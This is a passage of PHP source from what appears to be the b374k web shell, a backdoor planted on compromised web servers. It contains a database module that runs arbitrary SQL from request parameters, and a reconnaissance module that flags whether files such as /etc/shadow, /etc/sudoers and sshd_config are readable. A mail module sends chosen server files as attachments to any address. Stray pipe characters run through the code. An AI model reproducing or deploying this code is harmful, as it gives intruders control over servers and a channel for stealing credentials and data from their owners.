$res .= decode_line("reversed", strrev($str), "textarea");
|
||
|
$res .= decode_line("lowercase", strtolower($str), "textarea");
|
||
|
$res .= decode_line("uppercase", strtoupper($str), "textarea");
|
||
|
|
||
|
$res .= decode_line("urlencode", urlencode($str), "textarea");
|
||
|
$res .= decode_line("urldecode", urldecode($str), "textarea");
|
||
|
$res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
|
||
|
$res .= decode_line("rawurldecode", rawurldecode($str), "textarea");
|
||
|
|
||
|
$res .= decode_line("htmlentities", html_safe($str), "textarea");
|
||
|
|
||
|
if(function_exists('hash_algos')){
|
||
|
$algos = hash_algos();
|
||
|
foreach($algos as $algo){
|
||
|
if(($algo=='md5')||($algo=='sha1')) continue;
|
||
|
$res .= decode_line($algo, hash($algo, $str), "input");
|
||
|
}
|
||
|
}
|
||
|
|
||
|
return $res;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('decode_line')){
|
||
|
function decode_line($type, $result, $inputtype){
|
||
|
$res = "<tr><td class='colFit'>".$type."</td><td>";
|
||
|
if($inputtype=='input'){
|
||
|
$res .= "<input type='text' value='".html_safe($result)."' ondblclick='this.select();'>";
|
||
|
}
|
||
|
else{
|
||
|
$res .= "<textarea style='height:80px;min-height:80px;' ondblclick='this.select();'>".html_safe($result)."</textarea>";
|
||
|
}
|
||
|
return $res;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(isset($p['decodeStr'])){
|
||
|
$decodeStr = $p['decodeStr'];
|
||
|
output(decode($decodeStr));
|
||
|
}
|
||
|
$GLOBALS['module']['database']['id'] = "database";
|
||
|
$GLOBALS['module']['database']['title'] = "Database";
|
||
|
$GLOBALS['module']['database']['js_ontabselected'] = "";
|
||
|
$GLOBALS['module']['database']['content'] = "
|
||
|
<table class='boxtbl'>
|
||
|
<thead>
|
||
|
<tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
|
||
|
</thead>
|
||
|
<tbody>
|
||
|
<tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
|
||
|
<tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
|
||
|
<tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
|
||
|
<tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
|
||
|
</tbody>
|
||
|
<tfoot>
|
||
|
<tr class='dbConnectRow'>
|
||
|
<td style='width:144px;'>
|
||
|
<select id='dbType'>
|
||
|
</select>
|
||
|
</td>
|
||
|
<td style='width:120px;'><span class='button' onclick=\"db_connect();\">connect</span></td>
|
||
|
<td class='dbError'></td>
|
||
|
</tr>
|
||
|
<tr class='dbQueryRow' style='display:none;'>
|
||
|
<td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px;'>You can also press ctrl+enter to submit</textarea></td>
|
||
|
</tr>
|
||
|
<tr class='dbQueryRow' style='display:none;'>
|
||
|
<td style='width:120px;'><span class='button' onclick=\"db_run();\">run</span></td>
|
||
|
<td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">disconnect</span></td>
|
||
|
<td>Separate multiple commands with a semicolon <span class='strong'>(</span> ; <span class='strong'>)</span></td>
|
||
|
</tr>
|
||
|
</tfoot>
|
||
|
</table>
|
||
|
<div id='dbBottom' style='display:none;'>
|
||
|
<br>
|
||
|
<table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' style='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></table>
|
||
|
</div>
|
||
|
";
|
||
|
|
||
|
if(!function_exists('sql_connect')){
|
||
|
function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
|
||
|
if($sqltype == 'mysql'){
|
||
|
if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
|
||
|
elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
|
||
|
}
|
||
|
elseif($sqltype == 'mssql'){
|
||
|
if(function_exists('sqlsrv_connect')){
|
||
|
$coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
|
||
|
return @sqlsrv_connect($sqlhost,$coninfo);
|
||
|
}
|
||
|
elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
|
||
|
}
|
||
|
elseif($sqltype == 'pgsql'){
|
||
|
$hosts = explode(":", $sqlhost);
|
||
|
if(count($hosts)==2){
|
||
|
$host_str = "host=".$hosts[0]." port=".$hosts[1];
|
||
|
}
|
||
|
else $host_str = "host=".$sqlhost;
|
||
|
if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
|
||
|
}
|
||
|
elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
|
||
|
elseif($sqltype == 'sqlite3'){
|
||
|
if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
|
||
|
else return false;
|
||
|
}
|
||
|
elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
|
||
|
elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
|
||
|
elseif($sqltype == 'pdo'){
|
||
|
if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
|
||
|
else return false;
|
||
|
}
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('sql_query')){
|
||
|
function sql_query($sqltype, $query, $con){
|
||
|
if($sqltype == 'mysql'){
|
||
|
if(class_exists('mysqli')) return $con->query($query);
|
||
|
elseif(function_exists('mysql_query')) return mysql_query($query);
|
||
|
}
|
||
|
elseif($sqltype == 'mssql'){
|
||
|
if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
|
||
|
elseif(function_exists('mssql_query')) return mssql_query($query);
|
||
|
}
|
||
|
elseif($sqltype == 'pgsql') return pg_query($query);
|
||
|
elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
|
||
|
elseif($sqltype == 'sqlite3') return $con->query($query);
|
||
|
elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
|
||
|
elseif($sqltype == 'odbc') return odbc_exec($con, $query);
|
||
|
elseif($sqltype == 'pdo') return $con->query($query);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('sql_num_rows')){
|
||
|
function sql_num_rows($sqltype,$result){
|
||
|
if($sqltype == 'mysql'){
|
||
|
if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
|
||
|
elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
|
||
|
}
|
||
|
elseif($sqltype == 'mssql'){
|
||
|
if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
|
||
|
elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
|
||
|
}
|
||
|
elseif($sqltype == 'pgsql') return pg_num_rows($result);
|
||
|
elseif($sqltype == 'oracle') return oci_num_rows($result);
|
||
|
elseif($sqltype == 'sqlite3'){
|
||
|
$metadata = $result->fetchArray();
|
||
|
if(is_array($metadata)) return $metadata['count'];
|
||
|
}
|
||
|
elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
|
||
|
elseif($sqltype == 'odbc') return odbc_num_rows($result);
|
||
|
elseif($sqltype == 'pdo') return $result->rowCount();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('sql_num_fields')){
|
||
|
function sql_num_fields($sqltype, $result){
|
||
|
if($sqltype == 'mysql'){
|
||
|
if(class_exists('mysqli_result')) return $result->field_count;
|
||
|
elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
|
||
|
}
|
||
|
elseif($sqltype == 'mssql'){
|
||
|
if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
|
||
|
elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
|
||
|
}
|
||
|
elseif($sqltype == 'pgsql') return pg_num_fields($result);
|
||
|
elseif($sqltype == 'oracle') return oci_num_fields($result);
|
||
|
elseif($sqltype == 'sqlite3') return $result->numColumns();
|
||
|
elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
|
||
|
elseif($sqltype == 'odbc') return odbc_num_fields($result);
|
||
|
elseif($sqltype == 'pdo') return $result->columnCount();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('sql_field_name')){
|
||
|
function sql_field_name($sqltype,$result,$i){
|
||
|
if($sqltype == 'mysql'){
|
||
|
if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
|
||
|
elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
|
||
|
}
|
||
|
elseif($sqltype == 'mssql'){
|
||
|
if(function_exists('sqlsrv_field_metadata')){
|
||
|
$metadata = sqlsrv_field_metadata($result);
|
||
|
if(is_array($metadata)){
|
||
|
$metadata=$metadata[$i];
|
||
|
}
|
||
|
if(is_array($metadata)) return $metadata['Name'];
|
||
|
}
|
||
|
elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
|
||
|
}
|
||
|
elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
|
||
|
elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
|
||
|
elseif($sqltype == 'sqlite3') return $result->columnName($i);
|
||
|
elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
|
||
|
elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
|
||
|
elseif($sqltype == 'pdo'){
|
||
|
$res = $result->getColumnMeta($i);
|
||
|
return $res['name'];
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('sql_fetch_data')){
|
||
|
function sql_fetch_data($sqltype,$result){
|
||
|
if($sqltype == 'mysql'){
|
||
|
if(class_exists('mysqli_result')) return $result->fetch_row();
|
||
|
elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
|
||
|
}
|
||
|
elseif($sqltype == 'mssql'){
|
||
|
if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
|
||
|
elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
|
||
|
}
|
||
|
elseif($sqltype == 'pgsql') return pg_fetch_row($result);
|
||
|
elseif($sqltype == 'oracle') return oci_fetch_row($result);
|
||
|
elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
|
||
|
elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
|
||
|
elseif($sqltype == 'odbc') return odbc_fetch_array($result);
|
||
|
elseif($sqltype == 'pdo') return $result->fetch(2);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('sql_close')){
|
||
|
function sql_close($sqltype,$con){
|
||
|
if($sqltype == 'mysql'){
|
||
|
if(class_exists('mysqli')) return $con->close();
|
||
|
elseif(function_exists('mysql_close')) return mysql_close($con);
|
||
|
}
|
||
|
elseif($sqltype == 'mssql'){
|
||
|
if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
|
||
|
elseif(function_exists('mssql_close')) return mssql_close($con);
|
||
|
}
|
||
|
elseif($sqltype == 'pgsql') return pg_close($con);
|
||
|
elseif($sqltype == 'oracle') return oci_close($con);
|
||
|
elseif($sqltype == 'sqlite3') return $con->close();
|
||
|
elseif($sqltype == 'sqlite') return sqlite_close($con);
|
||
|
elseif($sqltype == 'odbc') return odbc_close($con);
|
||
|
elseif($sqltype == 'pdo') return $con = null;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('sql_get_supported')){
|
||
|
function sql_get_supported(){
|
||
|
$db_supported = array();
|
||
|
|
||
|
if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
|
||
|
if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
|
||
|
if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
|
||
|
if(function_exists("oci_connect")) $db_supported[] = 'oracle';
|
||
|
if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
|
||
|
if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
|
||
|
if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
|
||
|
if(class_exists("PDO")) $db_supported[] = 'pdo';
|
||
|
|
||
|
return implode(",", $db_supported);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(isset($p['dbGetSupported'])){
|
||
|
$res = sql_get_supported();
|
||
|
if(empty($res)) $res = "error";
|
||
|
output($res);
|
||
|
}
|
||
|
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
|
||
|
$type = $p['dbType'];
|
||
|
$host = $p['dbHost'];
|
||
|
$user = $p['dbUser'];
|
||
|
$pass = $p['dbPass'];
|
||
|
$port = $p['dbPort'];
|
||
|
|
||
|
$con = sql_connect($type ,$host , $user , $pass);
|
||
|
$res = "";
|
||
|
|
||
|
if($con!==false){
|
||
|
if(isset($p['dbQuery'])){
|
||
|
$query = $p['dbQuery'];
|
||
|
$pagination = "";
|
||
|
if((isset($p['dbDB']))&&(isset($p['dbTable']))){
|
||
|
$db = trim($p['dbDB']);
|
||
|
$table = trim($p['dbTable']);
|
||
|
$start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
|
||
|
$limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
|
||
|
|
||
|
if($type=='mysql'){
|
||
|
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
|
||
|
}
|
||
|
elseif($type=='mssql'){
|
||
|
$query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
|
||
|
}
|
||
|
elseif($type=='pgsql'){
|
||
|
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
|
||
|
}
|
||
|
elseif($type=='oracle'){
|
||
|
$limit = $start + $limit;
|
||
|
$query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
|
||
|
}
|
||
|
elseif($type=='sqlite' || $type=='sqlite3'){
|
||
|
$query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
|
||
|
}
|
||
|
else $query = "";
|
||
|
|
||
|
$pagination = "Limit <input type='text' id='dbLimit' value='".html_safe($limit)."' style='width:50px;'>
|
||
|
<span class='button' onclick=\"db_pagination('prev');\">prev</span>
|
||
|
<span class='button' onclick=\"db_pagination('next');\">next</span>
|
||
|
<input type='hidden' id='dbDB' value='".html_safe($db)."'>
|
||
|
<input type='hidden' id='dbTable' value='".html_safe($table)."'>
|
||
|
<input type='hidden' id='dbStart' value='".html_safe($start)."'>
|
||
|
";
|
||
|
}
|
||
|
|
||
|
$querys = explode(";", $query);
|
||
|
foreach($querys as $query){
|
||
|
if(trim($query) != ""){
|
||
|
$query_query = sql_query($type, $query, $con);
|
||
|
if($query_query!=false){
|
||
|
$res .= "<p>".html_safe($query)."; <span class='strong'>[</span> ok <span class='strong'>]</span></p>";
|
||
|
if(!empty($pagination)){
|
||
|
$res .= "<p>".$pagination."</p>";
|
||
|
}
|
||
|
if(!is_bool($query_query)){
|
||
|
$res .= "<table class='border dataView sortable tblResult'><tr>";
|
||
|
for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
|
||
|
$res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>";
|
||
|
$res .= "</tr>";
|
||
|
while($rows = sql_fetch_data($type, $query_query)){
|
||
|
$res .= "<tr>";
|
||
|
foreach($rows as $r){
|
||
|
if(empty($r)) $r = " ";
|
||
|
$res .= "<td>".html_safe($r)."</td>";
|
||
|
}
|
||
|
$res .= "</tr>";
|
||
|
}
|
||
|
$res .= "</table>";
|
||
|
}
|
||
|
}
|
||
|
else{
|
||
|
$res .= "<p>".html_safe($query)."; <span class='strong'>[</span> error <span class='strong'>]</span></p>";
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
else{
|
||
|
if(($type!='pdo') && ($type!='odbc')){
|
||
|
if($type=='mysql') $showdb = "SHOW DATABASES";
|
||
|
elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
|
||
|
elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
|
||
|
elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
|
||
|
elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
|
||
|
else $showdb = "SHOW DATABASES";
|
||
|
|
||
|
$query_db = sql_query($type, $showdb, $con);
|
||
|
|
||
|
if($query_db!=false) {
|
||
|
while($db_arr = sql_fetch_data($type, $query_db)){
|
||
|
foreach($db_arr as $db){
|
||
|
if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
|
||
|
elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
|
||
|
elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
|
||
|
elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
|
||
|
elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
|
||
|
else $showtbl = "";
|
||
|
|
||
|
$res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='display:none;margin:8px 0;'>";
|
||
|
$query_table = sql_query($type, $showtbl, $con);
|
||
|
|
||
|
if($query_table!=false){
|
||
|
while($tables_arr = sql_fetch_data($type, $query_table)){
|
||
|
foreach($tables_arr as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table."</td></tr>";
|
||
|
}
|
||
|
}
|
||
|
$res .= "</table>";
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
if(!empty($res)) output($res);
|
||
|
output('error');
|
||
|
}
|
||
|
|
||
|
$GLOBALS['module']['info']['id'] = "info";
|
||
|
$GLOBALS['module']['info']['title'] = "Info";
|
||
|
$GLOBALS['module']['info']['js_ontabselected'] = "";
|
||
|
$GLOBALS['module']['info']['content'] = "<div class='border infoResult'></div>";
|
||
|
|
||
|
if(!function_exists('info_getinfo')){
|
||
|
function info_getinfo(){
|
||
|
$res = "";
|
||
|
// server misc info
|
||
|
$res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>";
|
||
|
$res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>";
|
||
|
|
||
|
if(is_win()){
|
||
|
foreach (range("A", "Z") as $letter){
|
||
|
if(is_readable($letter.":\\")){
|
||
|
$drive = $letter.":";
|
||
|
$res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>";
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>";
|
||
|
|
||
|
$res .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
|
||
|
$access = array("python"=>"python -V",
|
||
|
"perl"=>"perl -e \"print \$]\"",
|
||
|
"python"=>"python -V",
|
||
|
"ruby"=>"ruby -v",
|
||
|
"node"=>"node -v",
|
||
|
"nodejs"=>"nodejs -v",
|
||
|
"gcc"=>"gcc -dumpversion",
|
||
|
"java"=>"java -version",
|
||
|
"javac"=>"javac -version"
|
||
|
);
|
||
|
|
||
|
foreach($access as $k=>$v){
|
||
|
$version = execute($v);
|
||
|
$version = explode("\n", $version);
|
||
|
if($version[0]) $version = $version[0];
|
||
|
else $version = "?";
|
||
|
|
||
|
$res .= "<tr><td>".$k."</td><td>".$version."</td></tr>";
|
||
|
}
|
||
|
|
||
|
if(!is_win()){
|
||
|
$interesting = array(
|
||
|
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
|
||
|
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
|
||
|
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
|
||
|
"/etc/ssh/sshd_config",
|
||
|
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
|
||
|
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
|
||
|
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
|
||
|
foreach($interesting as $f){
|
||
|
if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path='".html_safe($f)."' onclick='view_entry(this);'>".$f." is readable</a></td></tr>";
|
||
|
}
|
||
|
}
|
||
|
$res .= "</table></div>";
|
||
|
|
||
|
if(!is_win()){
|
||
|
// cpu info
|
||
|
if($i_buff=trim(read_file("/proc/cpuinfo"))){
|
||
|
$res .= "<p class='boxtitle' onclick=\"info_toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>";
|
||
|
$res .= "<div class='info' id='info_cpu' style='margin-bottom:8px;display:none;'>";
|
||
|
$i_buffs = explode("\n\n", $i_buff);
|
||
|
foreach($i_buffs as $i_buffss){
|
||
|
$i_buffss = trim($i_buffss);
|
||
|
if($i_buffss!=""){
|
||
|
$i_buffsss = explode("\n", $i_buffss);
|
||
|
$res .= "<table class='dataView'>";
|
||
|
foreach($i_buffsss as $i){
|
||
|
$i = trim($i);
|
||
|
if($i!=""){
|
||
|
$ii = explode(":",$i);
|
||
|
if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
|
||
|
}
|
||
|
}
|
||
|
$res .= "</table>";
|
||
|
}
|
||
|
}
|
||
|
$res .= "</div>";
|
||
|
}
|
||
|
|
||
|
// mem info
|
||
|
if($i_buff=trim(read_file("/proc/meminfo"))){
|
||
|
$res .= "<p class='boxtitle' onclick=\"info_toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>";
|
||
|
$i_buffs = explode("\n", $i_buff);
|
||
|
$res .= "<div class='info' id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>";
|
||
|
foreach($i_buffs as $i){
|
||
|
$i = trim($i);
|
||
|
if($i!=""){
|
||
|
$ii = explode(":",$i);
|
||
|
if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
|
||
|
}
|
||
|
else $res .= "</table><table class='dataView'>";
|
||
|
}
|
||
|
$res .= "</table></div>";
|
||
|
}
|
||
|
|
||
|
// partition
|
||
|
if($i_buff=trim(read_file("/proc/partitions"))){
|
||
|
$i_buff = preg_replace("/\ +/", " ", $i_buff);
|
||
|
$res .= "<p class='boxtitle' onclick=\"info_toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>";
|
||
|
$res .= "<div class='info' id='info_part' style='margin-bottom:8px;display:none;'>";
|
||
|
$i_buffs = explode("\n\n", $i_buff);
|
||
|
$res .= "<table class='dataView'><tr>";
|
||
|
$i_head = explode(" ", $i_buffs[0]);
|
||
|
foreach($i_head as $h) $res .= "<th>".$h."</th>";
|
||
|
$res .= "</tr>";
|
||
|
$i_buffss = explode("\n", $i_buffs[1]);
|
||
|
foreach($i_buffss as $i_b){
|
||
|
$i_row = explode(" ", trim($i_b));
|
||
|
$res .= "<tr>";
|
||
|
foreach($i_row as $r) $res .= "<td style='text-align:center;'>".$r."</td>";
|
||
|
$res .= "</tr>";
|
||
|
}
|
||
|
$res .= "</table>";
|
||
|
$res .= "</div>";
|
||
|
}
|
||
|
}
|
||
|
$phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
|
||
|
foreach($phpinfo as $p=>$i){
|
||
|
$res .= "<p class='boxtitle' onclick=\"info_toggle('".$i."');\" style='margin-bottom:8px;'>".$p."</p>";
|
||
|
ob_start();
|
||
|
eval("phpinfo(".$i.");");
|
||
|
$b = ob_get_contents();
|
||
|
ob_end_clean();
|
||
|
if(preg_match("/<body>(.*?)<\/body>/is", $b, $r)){
|
||
|
$body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]);
|
||
|
$body = str_replace("<table", "<table class='boxtbl' ", $body);
|
||
|
$body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $body);
|
||
|
$body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?)<\/a>/", "", $body);
|
||
|
$body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*?)<\/a>/", "", $body);
|
||
|
|
||
|
$res .= "<div class='info' id='".$i."' style='margin-bottom:8px;display:none;'>".$body."</div>";
|
||
|
}
|
||
|
}
|
||
|
|
||
|
$res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='margin-bottom:8px;'>refresh</span><div style='clear:both;'></div>";
|
||
|
return $res;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(isset($p['infoRefresh'])){
|
||
|
output(info_getinfo());
|
||
|
}
|
||
|
|
||
|
$GLOBALS['module']['mail']['id'] = "mail";
|
||
|
$GLOBALS['module']['mail']['title'] = "Mail";
|
||
|
$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
|
||
|
$GLOBALS['module']['mail']['content'] = "
|
||
|
<table class='boxtbl'>
|
||
|
<thead>
|
||
|
<tr><th colspan='2'><p class='boxtitle'>Mail</p></th></tr>
|
||
|
</thead>
|
||
|
<tbody id='mailTBody'>
|
||
|
<tr><td style='width:120px'>From</td><td colspan='2'><input type='text' id='mailFrom' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
|
||
|
<tr><td>To</td><td><input type='text' id='mailTo' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
|
||
|
<tr><td>Subject</td><td><input type='text' id='mailSubject' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
|
||
|
</tbody>
|
||
|
<tfoot>
|
||
|
<tr><td colspan='2'><textarea id='mailContent' style='height:140px;min-height:140px;'></textarea></td></tr>
|
||
|
<tr>
|
||
|
<td colspan='2'><span style='width:120px;' class='button' onclick=\"mail_send();\">send</span>
|
||
|
<span style='width:120px;' class='button' onclick=\"mail_attach();\">attachment</span>
|
||
|
</td>
|
||
|
</tr>
|
||
|
<tr><td colspan='2'><span id='mailResult'></span></td></tr>
|
||
|
</tfoot>
|
||
|
</table>
|
||
|
";
|
||
|
|
||
|
if(!function_exists('send_email')){
|
||
|
function send_email($from, $to, $subject, $msg, $attachment){
|
||
|
$headers = "MIME-Version: 1.0\r\n".$from;
|
||
|
|
||
|
$rand = md5(time());
|
||
|
$headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
|
||
|
|
||
|
$headers .= "--".$rand."\r\n";
|
||
|
$headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
|
||
|
$headers .= $msg."\r\n\r\n";
|
||
|
|
||
|
if(count($attachment)>0){
|
||
|
foreach($attachment as $file){
|
||
|
if(is_file($file)){
|
||
|
$content = chunk_split(base64_encode(read_file($file)));
|
||
|
$headers .= "--".$rand."\r\n";
|
||
|
$headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
|
||
|
$headers .= "Content-Transfer-Encoding: base64\r\n";
|
||
|
$headers .= "Content-Disposition: attachment\r\n\r\n";
|
||
|
$headers .= $content."\r\n\r\n";
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
$headers .= "--".$rand."--\r\n";
|
||
|
if(@mail($to, $subject, "", $headers)) return true;
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
|
||
|
$mailFrom = trim($p['mailFrom']);
|
||
|
$mailTo = trim($p['mailTo']);
|
||
|
$mailSubject = trim($p['mailSubject']);
|
||
|
$mailContent = trim($p['mailContent']);
|
||
|
$mailAttachment = trim($p['mailAttachment']);
|
||
|
$mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
|
||
|
|
||
|
if(empty($mailTo)) output("Please specify at least one recipient");
|
||
|
if(!empty($mailFrom)){
|
||
|
$mailFrom = "From: ".$mailFrom."\r\nReply-To: ".$mailFrom."\r\n";
|
||
|
}
|
||
|
|
||
|
foreach($mailAttachment as $file){
|
||
|
$file = trim($file);
|
||
|
if(empty($file)) continue;
|
||
|
if(!is_file($file)) output("No such file : ".$file);
|
||
|
}
|
||
|
|
||
|
if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo));
